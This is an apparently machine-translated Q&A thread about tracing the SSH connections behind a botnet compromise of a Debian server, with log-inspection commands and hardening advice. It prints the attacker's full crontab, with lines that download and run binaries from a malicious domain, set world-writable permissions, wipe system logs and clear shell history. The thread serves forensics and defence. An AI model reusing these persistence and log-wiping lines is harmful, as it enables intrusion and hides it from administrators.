Histórico de endereços IP que acessaram um servidor via ssh

Chegou ao meu conhecimento que um servidor meu foi invadido e infectado por uma botnet chinesa conhecida.

Era uma máquina virtual de protótipo / teste com seu próprio IP estático (endereço dos EUA), portanto nenhum dano foi causado (demorei um pouco para descobrir).

Agora eu gostaria de saber quais IP / s foram usados ​​para a intrusão para saber se o ataque se originou na China.

Existe uma maneira de visualizar um histórico de conexões recebidas no ssh no servidor?

Edit: O sistema é Linux Debian 7

Observe a saída do lastcomando e qualquer coisa com um endereço IP ou nome de host em vez de um espaço em branco apareceu na rede. Se sshdé a única maneira de fazer isso neste sistema, então pronto.

Como alternativa (se esse é o Linux), você pode verificar /var/log/secure(nas distros baseadas em RH) ou /var/log/auth.log(nas distribuições baseadas no Debian) onde sshdgeralmente manterá o controle das conexões feitas, mesmo que não resultem em logins bem-sucedidos (que acessam utmp/ wtmp, que é o que lastirá ler). Exemplo:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

O IIRC Solaris sshd(que pode não ser necessariamente o OpenSSH sshd) registrará essas informações no/var/adm/messages

EDITAR:

@derobert faz uma excelente observação. É importante lembrar que em qualquer sistema, se sua conta de superusuário estiver comprometida, todas as apostas serão desativadas, pois os arquivos de log como /var/log/wtmpou /var/adm/messagespodem ser modificados pelo invasor. Isso pode ser atenuado se você colocar os logs fora do servidor em um local seguro.

Por exemplo, em uma loja em que eu trabalhava, tínhamos uma máquina "Audit Vault" protegida para receber apenas os arquivos de log de auditoria dos vários servidores do data center. Eu recomendaria ter uma configuração semelhante no futuro (já que "eu tenho uma máquina de teste" parece que você está operando em uma loja grande)

Existe uma maneira de visualizar um histórico de conexões recebidas no ssh no servidor?

Isso deve fornecer uma lista:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Em seguida, você pode usar geoiplookupo geoip-binpacote para ir do nome do host ou endereço IP para o país.

Bem, como esperado, e como @Joel Davis disse, todos os logs foram apagados, mas houve um arquivo que @Ramesh mencionou que tem algumas tentativas de acessar o usuário root, mas não conseguiu digitar a senha correta algumas vezes, depois desconecte-o muitas tentativas.

Eu corri um traceroute em três dos endereços e dois são da China e o outro é do Paquistão; estes são os IPs:

221.120.224.179
116.10.191.218
61.174.51.221

Mais informações sobre a botnet que foi injetada no servidor após ser comprometida:

Os hackers editam o crontab para executar 7 executáveis ​​que, a cada x tempo, gastam toda a CPU, maximizam a saída da rede dos servidores e simplesmente morrem. Além disso, eles adicionam o leia-me ao crontab 100 vezes para ocultar as linhas adicionadas; assim, quando você o fizer, crontab -lvocê será spam pelo readme com linhas ocultas. Para contornar isso, eu usei crontab -l | grep -v '^#'e aqui está a saída desse comando:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Como você pode ver, todos os arquivos de log são limpos, é por isso que não consegui recuperar muitas informações.

Ele derrubou o servidor inteiro (todas as VMs), causando tempos limite nos sites e no proxmox. Aqui está um gráfico (os picos denotam DDoS ativamente e notam a saída da rede):

Como resultado, adicionarei todo o intervalo de endereços IP chineses a um firewall para bloquear todas as conexões (não tenho usuários chineses, por isso não me importo), também proibirei logins raiz remotos e utilizarei aplicativos longos e complexos. senhas. Também provavelmente mudarei a porta ssh e também utilizarei chaves ssh privadas.

A partir desta resposta, vejo as informações abaixo.

Falando sobre servidores SSH, darei soluções de linha de comando.

Rastrear logins e logins de usuários . Isso é fácil, o arquivo /var/log/auth.logdeve ter essas informações.

Rastrear a atividade desses usuários : se eles são um tanto inocentes, você pode verificar o arquivo .bash_historyno diretório inicial. Você verá uma lista dos comandos que eles executaram. O problema é que eles podem excluir ou editar este arquivo.

Impedir que os usuários excluam logs : os usuários não devem poder tocar auth.log. Para impedi-los de brincar, bash_historyvocê precisa fazer alguns truques.

E se o usuário conseguir obter acesso root? : Você está ferrado. A menos que ele cometa um erro, ele será capaz de esconder todos os seus passos.

Além disso, a partir desta resposta, podemos ver o endereço IP de um cliente usando a SSH_CLIENTvariável

Também a partir desta resposta, vejo que o histórico do ssh pode ser armazenado nesses arquivos.

Além de /var/log/lastlog, há 3 arquivos /var/rune /var/log: utmp, wtmpe btmp, que detêm informações sobre logins atuais (e informações adicionais), histórico e logins falhos. Veja wiki para descrição detalhada. Você não pode editar os arquivos com editores normais, mas pode apagá-los.

O comando mais simples para obter os últimos 10 usuários conectados à máquina é last|head.

Para obter todos os usuários, basta usar o lastcomando

Esta máquina foi comprometida. Isso significa que qualquer dado histórico ou atual não pode mais ser confiável.

Em suma, a resposta é não. Você não pode ter certeza de ter encontrado o endereço de origem de qualquer arquivo de log gravado nesta máquina.

Limpe e reinstale. E patch.

Para ver apenas tentativas bem-sucedidas de login com senha:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

para debian, a pesquisa de teste tem uma redação ligeiramente diferente

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'